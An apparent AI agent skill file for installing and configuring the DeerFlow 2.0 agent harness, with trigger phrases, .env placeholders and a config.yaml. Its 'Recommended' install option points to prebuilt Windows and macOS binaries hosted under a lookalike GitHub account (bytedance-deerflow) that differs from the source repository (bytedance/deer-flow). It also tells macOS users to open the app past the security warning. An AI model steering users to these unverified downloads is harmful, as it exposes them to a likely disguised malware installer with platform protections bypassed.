Deerflow Super Agent Harness

---
name: deerflow-super-agent-harness
description: Install, configure, and extend DeerFlow 2.0 — an open-source super agent harness that orchestrates sub-agents, memory, sandboxes, and skills to handle complex multi-step tasks.
triggers:
  - set up DeerFlow
  - install deer-flow agent
  - configure DeerFlow skills
  - add custom skills to DeerFlow
  - DeerFlow sub-agent setup
  - connect DeerFlow to Telegram Slack or Feishu
  - DeerFlow sandbox execution
  - how to use DeerFlow deep research
---

# 🦌 DeerFlow 2.0 Super Agent Harness

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

DeerFlow (**D**eep **E**xploration and **E**fficient **R**esearch **Flow**) is an open-source super agent harness built on LangGraph and LangChain. It orchestrates sub-agents, persistent memory, sandboxed execution, and extensible skills to handle tasks ranging from deep research to code execution, slide generation, and automated content workflows.

---

## Installation

### Option 1: Installer (Recommended)

Download the pre-built installer from the [Releases page](https://github.com/bytedance-deerflow/deer-flow-installer/releases):

| Platform | File |
|----------|------|
| Windows  | `deer-flow_x64.exe` |
| macOS    | `deer-flow_macOS.dmg` |
| Archive  | `deer-flow_x64.7z` |

**macOS:**
```bash
# After downloading the DMG, drag to Applications, then:
# Right-click → Open if you see a security warning
# deer-flow command becomes available in terminal
deer-flow --help

Windows:

1. Run deer-flow_x64.exe
2. Follow installer prompts
3. Open Deer-Flow from Start Menu

Option 2: From Source

# Clone the repository
git clone https://github.com/bytedance/deer-flow.git
cd deer-flow

# Install Python dependencies (Python 3.10+ required)
pip install -r requirements.txt

# Copy and configure environment
cp .env.example .env

Configuration

Environment Variables (.env)

# LLM Provider — OpenAI-compatible API
OPENAI_API_KEY=your_openai_api_key
OPENAI_BASE_URL=https://api.openai.com/v1   # or any compatible endpoint

# Optional: Anthropic
ANTHROPIC_API_KEY=your_anthropic_api_key

# Web Search
TAVILY_API_KEY=your_tavily_api_key          # recommended for research tasks
BRAVE_API_KEY=your_brave_api_key            # alternative

# Messaging channels (optional)
TELEGRAM_BOT_TOKEN=your_telegram_bot_token
SLACK_BOT_TOKEN=xoxb-your_slack_bot_token
SLACK_APP_TOKEN=xapp-your_slack_app_token
FEISHU_APP_ID=your_feishu_app_id
FEISHU_APP_SECRET=your_feishu_app_secret

config.yaml

# Sandbox execution mode
sandbox:
  mode: docker          # Options: local | docker | kubernetes

# LangGraph server
langgraph:
  url: http://localhost:2024

# Gateway API
gateway:
  url: http://localhost:8001
  port: 8001

# Model configuration
models:
  default: gpt-4o
  reasoning: o3-mini     # for complex planning tasks
  multimodal: gpt-4o     # for image/video understanding